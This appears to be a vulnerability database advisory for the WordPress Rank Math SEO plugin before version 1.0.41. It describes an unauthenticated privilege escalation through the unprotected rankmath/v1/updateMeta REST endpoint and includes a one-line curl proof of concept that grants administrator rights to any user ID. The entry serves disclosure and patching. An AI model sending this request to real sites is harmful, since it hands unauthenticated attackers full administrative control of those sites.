WordPress Plugin Vulnerabilities
WordPress SEO Plugin - Rank Math < 1.0.41 - Privilege Escalation via Unprotected REST API Endpoint
Description
This plugin registered a REST-API endpoint, rankmath/v1/updateMeta, which failed to include a permission_callback used for capability checking. The endpoint called a function, update_metadata which could be used to update the slug on existing posts, or could be used to delete or update metadata for posts, comments, and terms. This endpoint also allowed for updating metadata for users. WordPress user permissions are stored in the usermeta table, which meant that an unauthenticated attacker could grant or revoke administrative privileges for any registered user.
Proof of Concept
curl -X POST --data "objectID=<user ID to edit>&objectType=user&meta[wp_user_level]=10&meta[wp_capabilities][administrator]=1" http://example.site/wp-json/rankmath/v1/updateMeta
Affects Plugins
References
Classification
Type
PRIVESC
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Ramuel Gall (Wordfence)
Submitter
Ramuel Gall
Verified
No
WPVDB ID
Timeline
Publicly Published
2020-03-31 (about 4 years ago)
Added
2020-03-31 (about 4 years ago)
Last Updated
2020-09-22 (about 3 years ago)